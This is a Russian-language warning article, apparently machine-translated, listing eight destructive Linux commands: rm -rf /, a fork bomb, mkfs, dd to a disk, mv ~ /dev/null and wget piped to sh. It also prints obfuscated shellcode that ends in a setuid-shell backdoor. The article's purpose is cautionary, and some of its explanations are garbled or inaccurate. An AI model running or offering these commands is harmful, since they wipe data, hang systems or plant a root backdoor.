8 смертоносных команд, которые никогда не следует запускать в Linux

8 смертоносных команд, которые никогда не следует запускать в Linux

Команды терминала в Linux весьма разрушительны: если вы запустите команду, она разрушит вашу систему. Linux не требует подтверждения при выполнении какой-либо команды.

Знание того, какие команды не следует запускать в Linux, поможет защитить вашу систему при работе в Linux. Ниже приведены 8 смертельно опасных команд, которые никогда не следует запускать в Linux.

8 смертоносных команд, которые никогда не следует запускать в Linux

1. rm -rf/ — удалить всё

Команда rm -rf / удалит все, включая файлы на жестком диске и файлы на мультимедийных устройствах, подключенных к вашему компьютеру.

Чтобы лучше понять эту команду, проанализируйте ее следующим образом:

  • rm – Удалить следующие файлы.
  • -rf – запускает rm (удаляет все файлы и папки внутри указанной папки) и принудительно удаляет все файлы без предварительного запроса.
  • / – Сообщает, что rm (скажем, rm) запускается в корневом каталоге, включая все файлы на вашем компьютере.

Linux с радостью последует этой команде и удалит все, не предупреждая вас, поэтому будьте осторожны при использовании этой команды.

Кроме того, команда rm используется очень опасными способами. Например, rm –rf ~ удалит все файлы в вашей домашней папке, а rm -rf .* удалит все ваши файлы конфигурации.

2. Замаскированная команда rm –rf/

Вот фрагмент кода, разбросанный по сети:

char esp[] __attribute__ ((section(".text"))) /* выпуск esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

По сути, это другая версия rm –rf/ – выполнение этой команды также удалит все ваши файлы, как и запуск rm –rf/.

3. :(){ :|: & };: – Тип блокбастера

8 смертоносных команд, которые никогда не следует запускать в Linux

Приведенная ниже командная строка выглядит очень простой, но ее функция на самом деле очень опасна:

:(){ :|: & };:

Эта короткая команда создаст новые копии самого себя. То есть сам процесс резервного копирования будет непрерывным и быстро приведет к заполнению вашего процессора и памяти.

Также это может привести к зависанию компьютера. По сути, это атака типа «отказ в обслуживании» (DoS).

4. mkfs.ext4 /dev/sda1 — форматы жестких дисков.

Команду mkfs.ext4 /dev/sda1 довольно легко понять:

  • mkfs.ext4 — создает файловую систему ext4 на следующем устройстве.
  • /dev/sda1 — идентифицирует первый раздел на первом жестком диске, который может быть используемым жестким диском.

Объединение этих двух команд эквивалентно форматированию диска C: в Windows — удалите все файлы в первом разделе и замените их новой файловой системой.

Эта команда может иметь множество различных форматов, например: mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске в файловую систему ext3.

5. команда > /dev/sda — запись напрямую на жесткий диск

8 смертоносных команд, которые никогда не следует запускать в Linux

Командная строка > /dev/sda — запустите команду и выведите результат этой команды непосредственно на ваш первый жесткий диск, записывая данные непосредственно на жесткий диск и уничтожая вашу файловую систему.

  • команда – запустить команду (может быть любая команда).
  • > – отправляет вывод команды в следующее место.
  • /dev/sda — запись вывода команды непосредственно на жесткий диск.

6. dd if=/dev/random of=/dev/sda – записывает на жесткий диск ненужные данные.

Строка dd if=/dev/random of=/dev/sda удалит данные на одном из ваших жестких дисков.

  • dd – предназначен для выполнения низкоуровневого копирования из одного места в другое.
  • if=/dev/random — используйте /dev/random в качестве входных данных — вы можете увидеть адреса типа /dev/zero.
  • of=/dev/sda — вывод на первый жесткий диск, заменяя файловую систему случайными глупыми данными.

7. mv ~ /dev/null — переместите домашний каталог в черную дыру.

/dev/null — перемещение чего-либо в /dev/null равносильно его уничтожению. Думайте о /dev/null как о черной дыре. mv ~ /dev/null отправит все ваши личные файлы в черную дыру.

  • mv – переместить следующий файл или папку в другое место.
  • ~ – Вся ваша домашняя папка.
  • /dev/null — переместите домашнюю папку в /dev/null, это уничтожит все ваши файлы и удалит исходные копии.

8. wget http://example.com/something -O – | sh – загрузить и запустить скрипт

Приведенная выше команда загрузит сценарий из Интернета и отправит его в sh, который выполнит содержимое сценария. Это может быть опасно, если вы не уверены, что такое сценарий, или у вас нет надежного источника сценария — не запускайте ненадежные сценарии.

wget – скачать файл.

http://example.com/something – скачивайте файлы отсюда.

| – Направьте (отправьте) выходные данные команды wget (файл загруженной версии) непосредственно в другую команду.

sh – отправить файл команде sh.

См. еще несколько статей ниже:

Веселиться!


Как включить Ultimate Performance для оптимизации производительности в Windows 10/11

Как включить Ultimate Performance для оптимизации производительности в Windows 10/11

Microsoft добавила функцию Ultimate Performance в обновление Windows 10 в апреле 2018 года. Понятно, что это функция, которая помогает системе перейти в высокопроизводительный рабочий режим.

Как установить новый набор значков Проводника, например Windows 10 Sun Valley

Как установить новый набор значков Проводника, например Windows 10 Sun Valley

Если вам нравится новый значок проводника, такой как Windows 10 Sun Valley, следуйте статье ниже, чтобы изменить совершенно новый интерфейс проводника.

Как проверить веб-камеру Windows 10

Как проверить веб-камеру Windows 10

Проверить, хорошо ли работает веб-камера на компьютере с Windows, можно быстро и легко. Ниже приведены инструкции, которые помогут вам проверить камеру.

Как проверить микрофон в Windows 10

Как проверить микрофон в Windows 10

Возможно, у вас подключены наушники хорошего качества, но ноутбук с Windows по какой-то причине продолжает пытаться записывать, используя свой ужасный встроенный микрофон. В следующей статье вы узнаете, как протестировать микрофон Windows 10.

Как удалить сканирование с помощью Malwarebytes из контекстного меню

Как удалить сканирование с помощью Malwarebytes из контекстного меню

Если он вам больше не нужен, вы можете удалить параметр «Сканировать с помощью Malwarebytes» из контекстного меню, вызываемого правой кнопкой мыши. Вот как.

Узнайте о протоколе пограничного шлюза (BGP)

Узнайте о протоколе пограничного шлюза (BGP)

Протокол пограничного шлюза (BGP) используется для обмена информацией о маршрутизации в Интернете и является протоколом, используемым между интернет-провайдерами (которые являются разными AS).

Как создать свой собственный файл взлома реестра Windows

Как создать свой собственный файл взлома реестра Windows

Читая советы, вы видите, что люди часто используют файлы взлома реестра для настройки компьютеров с Windows, и задаетесь вопросом, как их создать. Эта статья проведет вас через основные шаги по созданию собственного файла взлома реестра.

Как включить автоматическое резервное копирование реестра в Windows 10

Как включить автоматическое резервное копирование реестра в Windows 10

Microsoft использовала автоматическое резервное копирование реестра, но эта функция была незаметно отключена в Windows 10. В этой статье Quantrimang.com покажет вам, как автоматически создавать резервную копию реестра в папке. RegBack (Windows\System32\config) \RegBack) в Windows 10.

Как отменить действие на ПК с Windows

Как отменить действие на ПК с Windows

При использовании компьютера совершать ошибки совершенно нормально.

Что делать, если Ethernet-соединение продолжает прерываться в Windows 10/11?

Что делать, если Ethernet-соединение продолжает прерываться в Windows 10/11?

Ваше Ethernet-соединение иногда может раздражать вас, отключаясь без видимой причины на вашем ПК с Windows 10 или 11.